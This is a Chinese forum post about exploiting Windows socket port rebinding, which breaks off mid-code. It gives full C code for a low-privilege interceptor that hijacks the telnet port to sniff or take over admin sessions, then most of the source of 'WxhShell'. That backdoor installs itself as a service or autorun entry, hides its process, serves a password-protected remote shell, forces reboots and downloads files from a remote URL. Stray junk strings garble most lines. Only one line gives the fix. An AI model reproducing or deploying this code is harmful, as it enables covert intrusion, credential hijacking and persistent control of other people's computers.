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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: -yR.<KnL  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); qL5{f(U4<  
Jm|+-F@I  
  saddr.sin_family = AF_INET; wg ^sGKN  
%cCs?ic  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); w0|gG+x jS  
ay1YOfa*  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); xAafm<L@!  
fKp#\tCc y  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 9k9_mjLZ  
RZ6xdq}>  
  这意味着什么?意味着可以进行如下的攻击: 6Ztq  
)Y]{HQd  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 !(q sD+  
ub7zA!%  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 6UevpDB  
df*5,NV'-*  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 iQ4);du  
cKN$ =gd  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ex+\nD>t4  
Wqc)Fv70m  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 _nD$b={g  
D,;\o7V  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 wtmB+:I  
O_cbP59Y.  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 iZPCNS"  
V~S0hqW[  
  #include 0OT\"O~S[  
  #include aaKN^fi&  
  #include HQ|MhM/"  
  #include    klQC2drS  
  DWORD WINAPI ClientThread(LPVOID lpParam);   +zu(  
  int main() m~@;~7Ix  
  { ?s\ OUr  
  WORD wVersionRequested; OS4q5;1#  
  DWORD ret; # S}Z8  
  WSADATA wsaData; [~kdPk  
  BOOL val; e?`5>& Up  
  SOCKADDR_IN saddr; N-jTc?mT~&  
  SOCKADDR_IN scaddr; ET_W-  
  int err; N+LL@[  
  SOCKET s; _2k]3z?  
  SOCKET sc; 1^ _U;O:I  
  int caddsize; iv?gZg   
  HANDLE mt; 4 SHU  
  DWORD tid;   Rop'e8Q  
  wVersionRequested = MAKEWORD( 2, 2 ); MS>t_C(  
  err = WSAStartup( wVersionRequested, &wsaData ); rSxxH]-  
  if ( err != 0 ) { {g2@6ct  
  printf("error!WSAStartup failed!\n"); ^ "i l}8`  
  return -1; @o#!EfZyE  
  } ~zil/P8  
  saddr.sin_family = AF_INET; RletL)  
   QYa(N[~a  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ?q(\=;Y  
&ZghMq~  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); !lxTX  
  saddr.sin_port = htons(23); \%/#x V  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 0VckocF  
  { 2H/Z_+\  
  printf("error!socket failed!\n"); .Q@S #d  
  return -1; 6An9S%:_  
  } TpmwD{c[\  
  val = TRUE; !>BZ6gn5  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 v^)bhIPe;  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) =8r 0 (c  
  {  %ObLWH'  
  printf("error!setsockopt failed!\n"); AS E91T~  
  return -1; ]?Fi$3Lm  
  } Vw#_68EybM  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; )uK{uYQl  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 CM<]ZG7  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 # altx=6'  
YLwnhy>dD  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ME;n^y\8  
  { D?C)BcN  
  ret=GetLastError(); z\0 CE]#T  
  printf("error!bind failed!\n"); tp6M=MC%  
  return -1; qOSg!aft{Q  
  } J 8M$k/"X  
  listen(s,2); Zm"{Viv]  
  while(1) ndjx|s)E  
  { 5Xl /L  
  caddsize = sizeof(scaddr); 'fcMuBc+ 4  
  //接受连接请求 "Fy7K#n  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 0O\SU"bP  
  if(sc!=INVALID_SOCKET) {r> .G7P6  
  { {%VV\qaC  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); pl5P2&k  
  if(mt==NULL) Tneq6>  
  { f6_];]yP  
  printf("Thread Creat Failed!\n"); Xcrk;!IB?  
  break; pM{nh00[  
  } f;&]:2.j  
  } bHht d_}  
  CloseHandle(mt); -6tgsfEr  
  } 4Ue_Y 'LmM  
  closesocket(s); a 4=N9X  
  WSACleanup(); Cw~RJ^a_  
  return 0; p. R2gl1m  
  }   3' ~gvi I  
  DWORD WINAPI ClientThread(LPVOID lpParam) yC3yij<oR  
  { tG8jFou  
  SOCKET ss = (SOCKET)lpParam; ~go fQ  
  SOCKET sc; yfj K2  
  unsigned char buf[4096]; &K43x&mFF  
  SOCKADDR_IN saddr; y.=/J8->  
  long num; ]c<qM_HWg  
  DWORD val; `%E8-]{uS  
  DWORD ret; X=6y_^  
  //如果是隐藏端口应用的话,可以在此处加一些判断 -D N8Yb  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   i]=&  
  saddr.sin_family = AF_INET; EyI}{6~F  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 4-kZJ\]  
  saddr.sin_port = htons(23); `} m Q  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) v?0r`<Mn  
  { &-czStQ  
  printf("error!socket failed!\n"); kdxz!  
  return -1; WYIQE$SEv  
  } /erN;Oo%<  
  val = 100; Dy]I8_  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >6~k9>nDb<  
  { <W`#gn0b6  
  ret = GetLastError(); 4\pWB90V  
  return -1; j ,)P9V  
  } WpS1a440  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) (faK+z,*6R  
  { YXU|h  
  ret = GetLastError(); $B#6tk~u  
  return -1; b1gaj"]  
  } \.f}W_OF  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 6 4D]Ypx  
  { 7_wJpTz  
  printf("error!socket connect failed!\n"); { F'Kk\f%:  
  closesocket(sc); ?\U!huu  
  closesocket(ss); Wxk x,q?  
  return -1; Nrah;i+H\o  
  } Ku/~ N#  
  while(1) ~XydQJ^*  
  { X; 5Jb  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 k-E{d04-2  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 F,GN[f-  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 D?~8za`5  
  num = recv(ss,buf,4096,0); lJzl6&  
  if(num>0) f`8OM}un&  
  send(sc,buf,num,0); Q\Gq|e*  
  else if(num==0) x$wd O  
  break; [xfaj'j=@  
  num = recv(sc,buf,4096,0); v[TYc:L=  
  if(num>0) ~1*A  
  send(ss,buf,num,0); `gpQW~*R-;  
  else if(num==0) q8Nn%o=5V  
  break; nx:KoB"ny  
  } FP#FB$eP  
  closesocket(ss); Y4F6qyP)"  
  closesocket(sc); 1[E#vdbT  
  return 0 ; z305{B:Y  
  } <]Wlx`=/D  
>sD4R}\})  
w-b' LP  
========================================================== Vvt  ;  
p0{EQT`tMG  
下边附上一个代码,,WXhSHELL ?( =p<TUw  
yMc:n "-[  
========================================================== Jz:r7w{4eB  
LhzMAW<L4  
#include "stdafx.h" RA],lNs  
Z~6[ Z  
#include <stdio.h> o<l 2r  
#include <string.h> 3Db3xN  
#include <windows.h> Q}*y$se!  
#include <winsock2.h> ]DvO:tM  
#include <winsvc.h> ?-OPX_i_  
#include <urlmon.h> =s}Xy_+:  
85IMdZ7I  
#pragma comment (lib, "Ws2_32.lib") ]~>K\i  
#pragma comment (lib, "urlmon.lib") y/? &pKH^  
SQWafD  
#define MAX_USER   100 // 最大客户端连接数 tfkr+ /  
#define BUF_SOCK   200 // sock buffer a$9A(Pte  
#define KEY_BUFF   255 // 输入 buffer r7]"?#  
mxFn7.|r~  
#define REBOOT     0   // 重启 1ndJ+H0H  
#define SHUTDOWN   1   // 关机 w %c  
W3&tJ8*3  
#define DEF_PORT   5000 // 监听端口 'P laMOy  
ciMM^ZRIb  
#define REG_LEN     16   // 注册表键长度 D H^T x  
#define SVC_LEN     80   // NT服务名长度 "R9Yb,tIN  
PzZZ>7_6S  
// 从dll定义API `C_'|d<HA  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); V% CUMH =U  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^1jk$$f  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); :XV} c(+d  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); DlyMJ#a  
DF1<JdO+  
// wxhshell配置信息 LS.r%:$mb  
struct WSCFG { K(T\9J.  
  int ws_port;         // 监听端口  m@rSz  
  char ws_passstr[REG_LEN]; // 口令 Ep~wWQh  
  int ws_autoins;       // 安装标记, 1=yes 0=no 0{^H]Y  
  char ws_regname[REG_LEN]; // 注册表键名 x.$1<w64t  
  char ws_svcname[REG_LEN]; // 服务名 Qbeeq6  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 uXQ >WI@eF  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "DSPPE&[c  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5V-jMB  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 8 Op.eYe  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 59rY[&|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 o%y;(|4t >  
4B-yTyO  
}; r;iV$Rq !  
*(GZ^QH.  
// default Wxhshell configuration 0O2n/`'  
struct WSCFG wscfg={DEF_PORT, sI 4yG  
    "xuhuanlingzhe", uD>z@J-v  
    1, Az,- Cq  
    "Wxhshell", S{p}ux[}=  
    "Wxhshell", .dq "k  
            "WxhShell Service", N<JHjq  
    "Wrsky Windows CmdShell Service", rUwE?Ekn/  
    "Please Input Your Password: ", o*ANi;1]&B  
  1, 6ri#Lw  
  "http://www.wrsky.com/wxhshell.exe", W"hcaa,&  
  "Wxhshell.exe" ?\H.S9CZ^  
    }; $zkH|] zZ  
G+"8l!dC?  
// 消息定义模块 (U87}}/l  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;RN8\re  
char *msg_ws_prompt="\n\r? for help\n\r#>"; q42FP q  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ua 8m;>R  
char *msg_ws_ext="\n\rExit."; FUeq \Wuo  
char *msg_ws_end="\n\rQuit."; Jp;k+ "<q  
char *msg_ws_boot="\n\rReboot..."; lr('k`KOQ  
char *msg_ws_poff="\n\rShutdown..."; LxJ6M/".  
char *msg_ws_down="\n\rSave to "; &1)xoZ'\  
*M~.3$NN  
char *msg_ws_err="\n\rErr!"; EychR/s  
char *msg_ws_ok="\n\rOK!"; rhY_|bi4P  
K5ZnS`c;  
char ExeFile[MAX_PATH]; uhn%lV]  
int nUser = 0; s` >H  
HANDLE handles[MAX_USER]; Q!CO0w  
int OsIsNt; - G ?%QG`v  
w;yx<1f  
SERVICE_STATUS       serviceStatus; y7zkAXhJ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; IG.f=+<0  
6 ,N6jaW  
// 函数声明 Li`hdrO'ii  
int Install(void); ]TK=>;&  
int Uninstall(void); 3n(*E_n  
int DownloadFile(char *sURL, SOCKET wsh); t&c&KFK)I&  
int Boot(int flag); pZ+j[!  
void HideProc(void); vC9@,[  
int GetOsVer(void); Q5E:|)G  
int Wxhshell(SOCKET wsl); <jd/t19DB  
void TalkWithClient(void *cs); ++92:decM  
int CmdShell(SOCKET sock); Uh6mGL z*&  
int StartFromService(void); {y);vHf$  
int StartWxhshell(LPSTR lpCmdLine); w@N{ @tG  
fwmLJ5o N  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9[>Lp9l'  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^o%_W0_r  
e)pTC97^L  
// 数据结构和表定义 /GsrGX8  
SERVICE_TABLE_ENTRY DispatchTable[] = ;9rTE|n  
{ l L2-.!]R  
{wscfg.ws_svcname, NTServiceMain}, ~Q!~eTw  
{NULL, NULL} B!q?_[k,  
}; ` py}99G  
Ysk, w,K  
// 自我安装 pv$tTWk  
int Install(void) S|2VP8xY9  
{ p~>_T7ze  
  char svExeFile[MAX_PATH]; {'(ej5,6  
  HKEY key; DJ:38_F  
  strcpy(svExeFile,ExeFile); h=f6~5l5  
_O 52ai><b  
// 如果是win9x系统,修改注册表设为自启动 URw!7bTz  
if(!OsIsNt) { ZDlu1>Q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { PHkDb/HIx|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?Y`zg`  
  RegCloseKey(key); E*4t8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @f=RL)$|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nL;K|W  
  RegCloseKey(key); XqFu(Lm8=  
  return 0; Rrz'(KSDw  
    } U+!UL5k  
  } wG:$6  
} UT-ewXh  
else { pYGYy'%A'  
D%GGu"@GO  
// 如果是NT以上系统,安装为系统服务 ~j}J<4&OvC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]S]"`;Wh  
if (schSCManager!=0) 2E$i_jc  
{ s*{mT6s+T  
  SC_HANDLE schService = CreateService }B*,mn2N  
  ( LY1KQuY  
  schSCManager, ftW{C1,U7  
  wscfg.ws_svcname, *K!7R2Rat  
  wscfg.ws_svcdisp, M 5rwoyn  
  SERVICE_ALL_ACCESS, (+$ol'i  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \6c8z/O7   
  SERVICE_AUTO_START, ) :}Fu  
  SERVICE_ERROR_NORMAL, w&+\Wo;([b  
  svExeFile, j/`Up  
  NULL, US]"4=Zm  
  NULL, ;x RjQR  
  NULL, Z]e4pR6!  
  NULL, 9C1b^^Kb  
  NULL *?b@>_1K  
  ); {*nEKPq(_*  
  if (schService!=0) _3KZME  
  { z qO$  
  CloseServiceHandle(schService); 67ZYtA|t  
  CloseServiceHandle(schSCManager); v+7*R)/  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); .='3bQ(UZ4  
  strcat(svExeFile,wscfg.ws_svcname); `&G}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]g7HEB.Y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); cCYl$MskZ  
  RegCloseKey(key); #_,uE9  
  return 0; xK=J.>h3  
    } IPkA7VhFF  
  } X#Ak'%J  
  CloseServiceHandle(schSCManager); ~ \-r  
} Kd TE{].d  
} ][ rTQt m  
e7hO;=?b'  
return 1; tbRE/L<  
} SDJ;*s-  
l92!2$]b  
// 自我卸载 $ #t|(\  
int Uninstall(void) XzN-slu!  
{ s.bT[0Vl  
  HKEY key; @qpYDnJ:  
M@5KoMsB9  
if(!OsIsNt) { +0dQORo  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { GW:\l~ d  
  RegDeleteValue(key,wscfg.ws_regname); 8_+vb#M  
  RegCloseKey(key); rt,0j/o.1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #Ul4&QVeg  
  RegDeleteValue(key,wscfg.ws_regname); *+NZQjl'  
  RegCloseKey(key); Qh 1q  
  return 0; dqL  -'  
  } KWtu,~O_u  
} '[n)N@h  
} }^IwQm*i  
else { p5D5%B/  
IMw "eV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); dp33z"<3  
if (schSCManager!=0) 5_PWGaQa  
{ s&Z35IM8|  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); p9k4w% ~:  
  if (schService!=0) d~vTD|Et  
  { +$(71#'y  
  if(DeleteService(schService)!=0) { }ty"fI3&iY  
  CloseServiceHandle(schService); Vx}Yl&*D  
  CloseServiceHandle(schSCManager); Ny]'RS-  
  return 0; .Kg|f~InO  
  } !~ BZHi6\  
  CloseServiceHandle(schService); 2Ti" s-  
  } 3"f)*w7d  
  CloseServiceHandle(schSCManager); V^9$t/c &  
} |K'Gw}fX/  
} ,^n-L&  
3j]UEA^  
return 1; Kp$_0  
} D9e+  
Zj:a-=  
// 从指定url下载文件 $^!a`Xr  
int DownloadFile(char *sURL, SOCKET wsh) u'#`yTB6b  
{ iLjuE)6-$  
  HRESULT hr; |E"Xavi>  
char seps[]= "/"; )PsN_ 42~  
char *token; XKpL4]{&q4  
char *file; m]{<Ux  
char myURL[MAX_PATH]; N)9pz?*V  
char myFILE[MAX_PATH]; %"1` NT  
bnA T,v{  
strcpy(myURL,sURL); YJ &lB&xH  
  token=strtok(myURL,seps); 2]?w~qjWm  
  while(token!=NULL) / c4;3>I S  
  { !G+n"-h9'  
    file=token; dM$N1DB{U+  
  token=strtok(NULL,seps); bbfDt^  
  } N |OMj%Uk  
7KvXTrN!9  
GetCurrentDirectory(MAX_PATH,myFILE); CsJ)Z%4_  
strcat(myFILE, "\\"); ?7fQ1/emhO  
strcat(myFILE, file); <O <'1uO,  
  send(wsh,myFILE,strlen(myFILE),0); 6ctHL<^  
send(wsh,"...",3,0); a7XXhsZ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); j CTQ sV  
  if(hr==S_OK) ws*~$x?7  
return 0; L?Kz P.(t+  
else xn%l  
return 1; Qx6,>'Qk'  
}:,o Y<  
} "R@$Wu53|  
m_{%tU;N  
// 系统电源模块 A^}i^  
int Boot(int flag) R@)'Bs  
{ p?J~'  
  HANDLE hToken; t(Q&H!~e   
  TOKEN_PRIVILEGES tkp; c9Y2eetO  
mB{&7Rb0  
  if(OsIsNt) { { r< (t#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); W\ 1bE(AwZ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); o<C]+Nt,@  
    tkp.PrivilegeCount = 1; |_hioMVz  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  ~ LJ>WA  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); o(Ua",|  
if(flag==REBOOT) { 2<46jJYL'  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >!HfH(is\  
  return 0; 3s+<    
} ~8KF<2c   
else { %a)0?U  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) aTL8l.c2  
  return 0; b0~H>cnA  
} Gvt;Q,hH  
  } y(aAp.S>  
  else { PV,kYM6  
if(flag==REBOOT) { y V 9]_k  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Z@>=&  
  return 0; 7- *( a  
} I]uOMWZs  
else { (<d&BV-"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 'S%} ?#J  
  return 0; [*Aqy76Qa  
} Yj^avO=;  
} 1sIy*z  
QK``tWLIg7  
return 1; &;~2sEo,  
} X]&;8  
RTPq8S"  
// win9x进程隐藏模块 Ef,7zKG  
void HideProc(void) q 2_N90u  
{ uFm(R/V  
QoT3;<r}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~RZJ/%6F  
  if ( hKernel != NULL ) 8xD<A|  
  { 4."o.:8x  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); uI[-P}bSc&  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &6,Yjs:T m  
    FreeLibrary(hKernel); |d B1R%  
  } @dWS*@  
/P?|4D}<  
return; oPBg+Bh*  
} yKe*<\  
&(H)gjH  
// 获取操作系统版本 %ojR?=ON  
int GetOsVer(void) niBjq#bJi  
{ |%2/I>o  
  OSVERSIONINFO winfo; =,>TpE  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 'Ec:l(2Ec  
  GetVersionEx(&winfo); @~!-a s7  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) iSZctsqE  
  return 1; -A-hxK*^  
  else </+%R"`  
  return 0; !%Hl#Pv}  
} (A]m=  
9A* ?E  
// 客户端句柄模块 Wd^F%)(  
int Wxhshell(SOCKET wsl) Bah.\ZsYQP  
{  ^ :  
  SOCKET wsh; [U3D`V$xD  
  struct sockaddr_in client; -hU>1ux&V  
  DWORD myID; @o3R`ZgC]\  
c:@OX[##  
  while(nUser<MAX_USER) ]9KQP-p'  
{ cAKoPU>U  
  int nSize=sizeof(client); v0hfY   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); w.T=Lzp  
  if(wsh==INVALID_SOCKET) return 1; .j:.WnW  
^M"=A}h  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Rvu3Qo+  
if(handles[nUser]==0) ~J. Fl[  
  closesocket(wsh); FVC2XxP  
else <*r<+S   
  nUser++; }n2-*{)x  
  } aaqd:N)  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); |W~V@n8"6  
QGbD=c7  
  return 0; {xBjEhQm  
}  Z$#ZYD  
g+KzlS[6  
// 关闭 socket m`yn9(1Y[  
void CloseIt(SOCKET wsh) 5|~r{w)9  
{ CyK$XDHa  
closesocket(wsh); w /W Cj4`  
nUser--; fN"oa>X  
ExitThread(0); A9qO2kq7_  
} Y)4Nydq  
ELgae1  
// 客户端请求句柄 *a4b`HRT  
void TalkWithClient(void *cs) ?N!j.E4=  
{ }N#>q.M  
~0^,L3M  
  SOCKET wsh=(SOCKET)cs; LA=>g/+i.X  
  char pwd[SVC_LEN]; |IcxegE  
  char cmd[KEY_BUFF]; {Y* ]Qc  
char chr[1]; d*\C^:Z  
int i,j; ]tdo&  
fD#&:)  
  while (nUser < MAX_USER) { ap'kxOf"1  
B[0,\>  
if(wscfg.ws_passstr) { 0Yzb=QMD  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I>8@=V~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d-N"mI-  
  //ZeroMemory(pwd,KEY_BUFF); gh #w%g1g  
      i=0; y~A7pzBZ=  
  while(i<SVC_LEN) { l-^XW?CfL  
H;t8(-F@'  
  // 设置超时 't]EkH]BC  
  fd_set FdRead; da?th  
  struct timeval TimeOut; o4[2`mT  
  FD_ZERO(&FdRead); 7f\^VG  
  FD_SET(wsh,&FdRead); zloaU  
  TimeOut.tv_sec=8; SJ[@fUxO)  
  TimeOut.tv_usec=0; \(>$mtS:  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Kf?{GNE7  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); F;Xq:e8  
xXU/m|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kN9sug^  
  pwd=chr[0]; /6+%(f}7l  
  if(chr[0]==0xd || chr[0]==0xa) { B]KLn?zt5  
  pwd=0; qnfRN'  
  break; A%m `LKV~@  
  } )p^jsv.  
  i++; /XW0`FF  
    } ='bmjXu  
k+R?JWC:  
  // 如果是非法用户,关闭 socket yxP?O@(  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); BL5  
} 5WNg+  
vBn=bb'W  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); SQKY;p  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S7~F*CGBh  
w%o4MFK=!  
while(1) { 8(_g]u#B;  
;=9v mQA  
  ZeroMemory(cmd,KEY_BUFF); 7}1Kafs  
+heS\I_Mp  
      // 自动支持客户端 telnet标准   ])wMUJWg2  
  j=0; /qq&'}TZP  
  while(j<KEY_BUFF) { j5Wx*~@(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); YlcF-a  
  cmd[j]=chr[0]; v3JIUdU=P  
  if(chr[0]==0xa || chr[0]==0xd) { +@)$l+kk9  
  cmd[j]=0; --%2=.X=  
  break; ,WDAcQ8\  
  } muX4Y1M_  
  j++; 5WJkeG ba  
    } :kx#];2i  
4b(irDT3F  
  // 下载文件 Mjvso0zj  
  if(strstr(cmd,"http://")) { iCSM1W3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); YTPmS\ H _  
  if(DownloadFile(cmd,wsh)) B*iz+"H  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Isgk  
  else Sw( H]  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Rw{v"n  
  }  ~M^7qO  
  else { K y4y  
S 2 h  
    switch(cmd[0]) { ;Kq?*H  
  -Us% g  
  // 帮助 }~C ZqIP  
  case '?': { x0;}b-f  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); T\s#-f[x  
    break;  ;yER V  
  } ^-;Z8M  
  // 安装 }7 z+  
  case 'i': { q vVZA*  
    if(Install()) z+D,:!yF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5'-9?-S"  
    else I2lZ>3X{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ulSTR f  
    break; h%^kA@3F  
    } Lpbn@y26<  
  // 卸载 R Mt vEa  
  case 'r': { _vLT!y  
    if(Uninstall()) WI!z92qq[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4$2T zJE  
    else !cq| g  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Tc(v\|F,  
    break; r= | |sZs  
    } BBJ]>lQ  
  // 显示 wxhshell 所在路径 :::f,aCAu  
  case 'p': { o4f9EJY   
    char svExeFile[MAX_PATH]; lKwT5ma7  
    strcpy(svExeFile,"\n\r"); n rB27  
      strcat(svExeFile,ExeFile); gO%i5  
        send(wsh,svExeFile,strlen(svExeFile),0); > ,Bu^] C  
    break; Xl+a@Ggtq  
    } 5XUI7Q%  
  // 重启 =l'_*B8  
  case 'b': { 6ch[B`[h,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); QIV~)`;  
    if(Boot(REBOOT)) ~JPzjE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i@^`~vj  
    else { q8bS@\i  
    closesocket(wsh); 4KSN;G  
    ExitThread(0); FH21mwV  
    } J<*Mk  
    break; g):jZU]b  
    } (a!,)  
  // 关机 D"f(nVEr  
  case 'd': { 4H=sD t  
